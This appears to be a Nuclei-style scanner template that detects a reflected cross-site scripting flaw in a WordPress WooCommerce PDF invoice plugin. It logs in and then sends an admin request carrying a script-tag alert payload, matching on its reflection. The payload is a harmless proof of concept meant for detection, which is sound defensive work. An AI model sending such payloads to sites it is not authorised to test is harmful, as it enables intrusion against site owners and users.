woocommerce-pdf-invoices-xss: WordPress WooCommerce PDF Invoices & Packing Slips <2.15.0 - Cross-Site Scripting

id: woocommerce-pdf-invoices-xss

info:
  name: WordPress WooCommerce PDF Invoices & Packing Slips <2.15.0 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress WooCommerce PDF Invoices & Packing Slips 2.15.0 does not escape some URLs before outputting them in attributes, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/bc05dde0-98a2-46e3-b2c8-7bdc8c32394b
    - https://wordpress.org/plugins/woocommerce-pdf-invoices-packing-slips/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: xss,wp,wordpress,woocommerce,authenticated,wpscan,wp-plugin,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=documents&section=invoice&"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"
          - "WooCommerce PDF Invoices"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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